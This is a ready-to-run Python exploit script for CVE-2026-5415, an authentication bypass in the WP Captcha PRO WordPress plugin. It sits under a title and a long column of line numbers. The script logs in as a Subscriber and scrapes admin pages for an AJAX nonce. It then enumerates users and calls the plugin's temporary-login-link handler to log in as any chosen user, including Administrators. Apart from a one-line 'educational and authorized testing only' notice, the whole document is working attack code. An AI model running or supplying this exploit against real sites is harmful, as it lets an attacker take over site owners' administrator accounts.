WP Captcha PRO Subscriber-to-Administrator Authentication Bypass — CVE-2026-5415

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433

#!/usr/bin/env python3
"""
CVE-2026-5415 WP Captcha PRO Authenticated Authentication Bypass Exploit
CVSS: 8.8 (High)

Subscriber-level attackers can bypass authentication and log in as any user,
including Administrators, by exploiting the AJAX handler that creates temporary
login links. The required nonce is exposed via wp_localize_script() on admin pages.

Legal Notice: Educational and authorized testing only.
"""

import requests
import re
import sys
import argparse
import time
import json
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup

class WPCaptchaExploit:
    def __init__(self, target_url, username, password, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.nonce = None
        self.ajax_action = None

    def log(self, message, level="INFO"):
        """Log messages based on verbosity"""
        if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
            print(f"[{level}] {message}")

    def login(self):
        """Authenticate as Subscriber user"""
        self.log("Attempting to authenticate as Subscriber...")
        
        login_url = urljoin(self.target_url, '/wp-login.php')
        
        try:
            # Get login page
            resp = self.session.get(login_url, timeout=10)
            
            # Prepare login payload
            login_data = {
                'log': self.username,
                'pwd': self.password,
                'wp-submit': 'Log In',
                'redirect_to': urljoin(self.target_url, '/wp-admin/'),
                'testcookie': '1',
                'rememberme': 'forever'
            }
            
            resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=True)
            
            # Check if login was successful
            if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower():
                self.log("Authentication successful!", "SUCCESS")
                return True
            else:
                self.log("Authentication failed", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Login error: {e}", "ERROR")
            return False

    def extract_nonce(self):
        """Extract nonce from admin pages via wp_localize_script()"""
        self.log("Extracting nonce from admin pages...")
        
        admin_pages = [
            '/wp-admin/',
            '/wp-admin/edit.php',
            '/wp-admin/index.php',
            '/wp-admin/users.php',
            '/wp-admin/plugins.php'
        ]
        
        try:
            for page in admin_pages:
                url = urljoin(self.target_url, page)
                self.log(f"Checking page: {url}", "INFO")
                
                resp = self.session.get(url, timeout=10)
                
                if resp.status_code != 200:
                    continue
                
                # Look for nonce in various patterns
                nonce_patterns = [
                    r'"_ajax_nonce"\s*:\s*"([a-f0-9]+)"',
                    r'agc_nonce\s*=\s*["\']([a-f0-9]+)["\']',
                    r'ajax_nonce\s*[=:]\s*["\']([a-f0-9]+)["\']',
                    r'"nonce"\s*:\s*"([a-f0-9]+)"',
                    r'wp_nonce_field\(["\']([a-f0-9]+)["\']',
                    r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']',
                    r'recaptcha.*?nonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']',
                    r'agc.*?nonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']'
                ]
                
                for pattern in nonce_patterns:
                    match = re.search(pattern, resp.text, re.IGNORECASE | re.DOTALL)
                    if match:
                        self.nonce = match.group(1)
                        self.log(f"Nonce extracted from {page}: {self.nonce}", "SUCCESS")
                        return True
            
            self.log("Could not extract nonce from any admin page", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error extracting nonce: {e}", "ERROR")
            return False

    def find_ajax_action(self):
        """Find the AJAX action name"""
        self.log("Searching for AJAX action name...")
        
        try:
            # Get admin page source
            url = urljoin(self.target_url, '/wp-admin/edit.php')
            resp = self.session.get(url, timeout=10)
            
            # Look for AJAX action patterns
            action_patterns = [
                r'action["\']?\s*[=:]\s*["\']([a-z_]*recaptcha[a-z_]*)["\']',
                r'advanced_google_recaptcha[a-z_]*',
                r'agc[a-z_]*',
                r'wp_captcha[a-z_]*',
                r'action["\']?\s*[=:]\s*["\']([a-z_]*captcha[a-z_]*)["\']'
            ]
            
            for pattern in action_patterns:
                match = re.search(pattern, resp.text, re.IGNORECASE)
                if match:
                    self.ajax_action = match.group(1) if match.lastindex else match.group(0)
                    self.log(f"AJAX action found: {self.ajax_action}", "SUCCESS")
                    return True
            
            # Default action names to try
            default_actions = [
                'advanced_google_recaptcha_run_tool',
                'agc_run_tool',
                'wp_captcha_run_tool',
                'agc_ajax_handler',
                'advanced_google_recaptcha_ajax'
            ]
            
            self.log("Using default AJAX action names", "INFO")
            self.ajax_action = default_actions[0]
            return True
        
        except Exception as e:
            self.log(f"Error finding AJAX action: {e}")
            self.ajax_action = 'advanced_google_recaptcha_run_tool'
            return True

    def enumerate_users(self):
        """Enumerate WordPress users"""
        self.log("Enumerating WordPress users...")
        
        users = []
        
        try:
            # Try REST API
            api_url = urljoin(self.target_url, '/wp-json/wp/v2/users')
            resp = self.session.get(api_url, timeout=10)
            
            if resp.status_code == 200:
                try:
                    user_data = resp.json()
                    for user in user_data:
                        users.append({
                            'id': user.get('id'),
                            'username': user.get('slug'),
                            'name': user.get('name')
                        })
                    self.log(f"Found {len(users)} users via REST API", "SUCCESS")
                    return users
                except:
                    pass
            
            # Fallback to common usernames
            common_users = [
                {'id': 1, 'username': 'admin'},
                {'id': 2, 'username': 'administrator'},
                {'id': 3, 'username': 'editor'},
                {'id': 4, 'username': 'author'},
                {'id': 5, 'username': 'contributor'}
            ]
            
            self.log("Using common usernames", "INFO")
            return common_users
        
        except Exception as e:
            self.log(f"Error enumerating users: {e}")
            return []

    def create_temporary_link(self, target_user):
        """Create temporary login link for target user"""
        self.log(f"Creating temporary login link for user: {target_user}...")
        
        if not self.nonce:
            self.log("Missing nonce", "ERROR")
            return None
        
        if not self.ajax_action:
            self.log("Missing AJAX action", "ERROR")
            return None
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Prepare payload
            payload = {
                'action': self.ajax_action,
                '_ajax_nonce': self.nonce,
                'tool': 'create_temporary_link',
                'user_id': target_user
            }
            
            self.log(f"Sending AJAX request to: {ajax_url}", "INFO")
            self.log(f"Payload: {payload}", "INFO")
            
            resp = self.session.post(ajax_url, data=payload, timeout=15)
            
            self.log(f"Response Status: {resp.status_code}", "INFO")
            self.log(f"Response Body: {resp.text[:300]}", "INFO")
            
            if resp.status_code == 200:
                try:
                    response_data = resp.json()
                    
                    # Check for success
                    if response_data.get('success') or 'data' in response_data:
                        data = response_data.get('data', {})
                        
                        # Extract link from various possible response formats
                        temp_link = data.get('link') or data.get('url') or data.get('temporary_link')
                        
                        if temp_link:
                            self.log(f"Temporary link created: {temp_link}", "SUCCESS")
                            return temp_link
                        elif isinstance(data, str):
                            # Response might be the link directly
                            if 'http' in data:
                                self.log(f"Temporary link created: {data}", "SUCCESS")
                                return data
                    
                    self.log(f"Unexpected response format: {response_data}", "ERROR")
                    return None
                
                except json.JSONDecodeError:
                    self.log("Failed to parse JSON response", "ERROR")
                    return None
            else:
                self.log(f"AJAX request failed: {resp.status_code}", "ERROR")
                return None
        
        except Exception as e:
            self.log(f"Error creating temporary link: {e}", "ERROR")
            return None

    def use_temporary_link(self, temp_link):
        """Use temporary link to authenticate as target user"""
        self.log(f"Using temporary link to authenticate...")
        
        try:
            self.log(f"Accessing: {temp_link}", "INFO")
            
            resp = self.session.get(temp_link, timeout=15, allow_redirects=True)
            
            if resp.status_code == 200:
                self.log("Temporary link accessed successfully!", "SUCCESS")
                
                # Check if we're now logged in as the target user
                if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower():
                    self.log("Authentication successful!", "SUCCESS")
                    return True
            else:
                self.log(f"Failed to use temporary link: {resp.status_code}", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error using temporary link: {e}", "ERROR")
            return False
    
    def exploit_account(self, target_user):
        """Execute full exploit chain"""
        
        print("\n" + "="*70)
        print("CVE-2026-5415 WP Captcha PRO Authentication Bypass")
        print("="*70 + "\n")
        
        # Step 1: Login as Subscriber
        if not self.login():
            return False
        
        # Step 2: Extract nonce
        if not self.extract_nonce():
            return False
        
        # Step 3: Find AJAX action
        if not self.find_ajax_action():
            return False
        
        # Step 4: Create temporary link
        temp_link = self.create_temporary_link(target_user)
        if not temp_link:
            return False
        
        # Step 5: Use temporary link
        if not self.use_temporary_link(temp_link):
            return False
        
        print("\n" + "="*70)
        print("EXPLOITATION SUCCESSFUL")
        print("="*70)
        print(f"Target: {self.target_url}")
        print(f"Attacker User: {self.username}")
        print(f"Target User: {target_user}")
        print(f"Temporary Link: {temp_link}")
        print(f"\nYou are now authenticated as: {target_user}")
        print("="*70 + "\n")
        
        return True


class AjaxActionFinder:
    """Find AJAX action names used by the plugin"""
    
    def __init__(self, target_url, session):
        self.target_url = target_url.rstrip('/')
        self.session = session
    
    def find_actions(self):
        """Find all AJAX actions in the page"""
        actions = []
        
        try:
            url = urljoin(self.target_url, '/wp-admin/')
            resp = self.session.get(url, timeout=10)
            
            # Look for action parameters
            action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text)
            actions.extend(action_matches)
            
            # Look for wp_nonce_field patterns
            nonce_matches = re.findall(r'wp_nonce_field\(["\']([a-z_]+)["\']', resp.text)
            actions.extend(nonce_matches)
        
        except:
            pass
        
        return list(set(actions))


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-5415 WP Captcha PRO Authentication Bypass Exploit'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-u', '--username', required=True, help='Subscriber username')
    parser.add_argument('-p', '--password', required=True, help='Subscriber password')
    parser.add_argument('-t', '--target-user', required=True, help='Target user to takeover (username or ID)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('--enumerate', action='store_true', help='Enumerate users only')
    parser.add_argument('--find-action', action='store_true', help='Find AJAX action names')
    parser.add_argument('--find-nonce', action='store_true', help='Find nonce only')
    
    args = parser.parse_args()
    
    # Create exploit instance
    exploit = WPCaptchaExploit(
        args.target,
        args.username,
        args.password,
        verbose=args.verbose
    )
    
    # Find AJAX actions
    if args.find_action:
        if not exploit.login():
            sys.exit(1)
        
        finder = AjaxActionFinder(args.target, exploit.session)
        actions = finder.find_actions()
        
        print(f"\n[+] Found {len(actions)} AJAX actions:")
        for action in actions:
            if 'recaptcha' in action.lower() or 'captcha' in action.lower():
                print(f"  * {action} (likely target)")
            else:
                print(f"  - {action}")
        
        sys.exit(0)
    
    # Find nonce only
    if args.find_nonce:
        if not exploit.login():
            sys.exit(1)
        
        if exploit.extract_nonce():
            print(f"\n[+] Nonce: {exploit.nonce}")
        
        sys.exit(0)
    
    # Enumerate users
    if args.enumerate:
        if not exploit.login():
            sys.exit(1)
        
        users = exploit.enumerate_users()
        print(f"\n[+] Found {len(users)} users:")
        for user in users:
            print(f"  ID: {user.get('id')}, Username: {user.get('username')}, Name: {user.get('name')}")
        
        sys.exit(0)
    
    # Full exploit
    success = exploit.exploit_account(args.target_user)
    sys.exit(0 if success else 1)


if __name__ == '__main__':
    main()